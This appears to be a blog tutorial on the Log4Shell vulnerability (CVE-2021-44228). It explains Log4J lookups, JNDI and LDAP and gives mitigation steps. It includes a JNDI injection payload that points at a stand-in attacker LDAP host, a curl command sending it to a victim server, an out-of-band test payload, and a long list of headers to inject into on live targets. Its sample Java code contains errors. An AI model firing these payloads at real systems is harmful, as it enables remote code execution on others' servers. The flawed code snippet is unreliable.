Log4J Vulnerability Explained – CVE-2021-44228

Log4J Basics

Apache Log4J is a java based logging library used in java applications. It is basically a logging framework which logs users and servers activity on a web server. A simple use case for Log4J can be demonstrated using below code

// Log4J.java 
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
 
public class Log4J {
    private static final Logger logger = LogManager.getLogger(Log4J.class);
    public static void main(String[] args) {
        System.setProperty("con.sun.jndi.ldap.object.trustURLCodebase", "true");
        String logData = args[0];
        logging.errer("Message: "+logData);
    }
}

The above code print the message provided by command line using log4J library.

$ javac Log4J.java
$ java Log4J HelloWorld
10:10:32.055 [main] Log4J - Message: HelloWorld

Log4J Lookups

Lookups provide a way to add values to the Log4j configuration at arbitrary places. Lookups can be added using ${} into the log messages, for example ${java:version} shows the java version.

$ java Log4J ${java:version}
10:10:32.055 [main] Log4J - Message: Java version 1.8.0_20

JNDI

JNDI (Java Naming and Directory Interface) is a java api which provides naming and directory functionality to java applications. It is defined to be independent of any specific directory service implementation.

In Log4J uses jndi lookups fetch information from a remote server to be included in the log message. JNDI allows to lookup for itmes using a variety of services and protocols, including LDAP, DNS, Java RMI etc. The example syntax of jndi lookup is

${jndi:protocol://server}

LDAP

LDAP (Lightweight Directory Access Protocol) is a protocol for accessing and maintaining distributed directory information services over an internet protocol network. LDAP’s primary function is enabling users to find data about organizations, persons, and more. Data and resources that you can find with LDAP include files and user information. It works with printers, computers, and other devices connected via the internet or a company’s intranet.

In Log4J jndi lookups java application can include files or information from ldap server

${jndi:ldap://server}

Log4J Vulnerability

Now lets look an app which logs user-agent header value from requests.

String userAgent = request.getRequestHeader("User-Agent");
log.info(userAgent)

In this can a malicious user can abuse the jndi lookup functionality to include a malicious java object from a remote ldap server by modifying the User-Agent header value with

User-Agent: ${jndi:ldap://malserver.com/log4shellObj}

The attacker can send malicious request with curl

curl https://victim-server.com/ -A "${jndi:ldap://malserver.com/log4shellObj}"

Java objects can be stored in a directory service, and JNDI has logic that detects when a directory object contains a Java object and loads it into memory. The LDAP object loader will retrieve the contents of the URL defined in javaCodebase and use it to create an object in memory, If the LDAP object has ObjectClass attribute defined as javaNamingReference and has the attributes javaCodebase, javaFactory, and javaClassName. This class’ initialization method (constructor) is called and loads untrusted code from an untrusted source. The malicious data can be stored on log file and Log4J is exploited while processing it.

The Log4Shell vulnerability CVE-2021-44228 exploits Log4J vulnerability using Log4J lookups functionality to get remote code execution on target web server. All Log4j versions from 2.0-beta9 through 2.12.1, and 2.13.0 through 2.14.1 (also includes 2.15.0-rc1) are vulnerable.

Exploitation Demo

The Demo files can be downloaded from here : https://github.com/kozmer/log4j-shell-poc.git

Example Demo Video :

Testing Log4J vulnerability on live targets

To test for the Log4J vulnerability use the below payload

${jndi:ldap://xxx${sys:java.version}xxx.OOBServerURL}

For OOB (Out Of Bound) server you can use https://log4shell.tools/ or intractSH.

The payload can be placed to request headers, parameters or any field which can be logged by the target server. Some of the headers lists are :

Referer
X-Api-Version
Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Cookie
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
TE
True-Client-IP
Upgrade
User-Agent
Via
Warning
X-Api-Version
Max-Forwards
Origin
Pragma
DNT
Cache-Control
X-Att-Deviceid
X-ATT-DeviceId
X-Correlation-ID
X-Csrf-Token
X-CSRFToken
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Forward-For
X-Forward-Proto
X-Frame-Options
X-From
X-Geoip-Country
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-HTTP-Method-Override
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-ProxyUser-Ip
X-Requested-With
X-Request-ID
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN

Apart from the header you can aslo put them into email headers and fields, data fields, parameters etc.

Tools

There is also a available https://github.com/fullhunt/log4j-scan

Mitigating Log4J Vulnerability

  • Update the servers : Patch the log4j to version 2.16.0 and above. Also note that Log4j 1.x is not impacted by this vulnerability.
  • Remove the JndiLookup : Remove the JndiLookup class from the classpath by
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • Some other quick solution are :
    • Remove the jar files.
    • Attack and hotfix your servers.

For more detailed info about mitigation of Log4j checkout here.

References

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.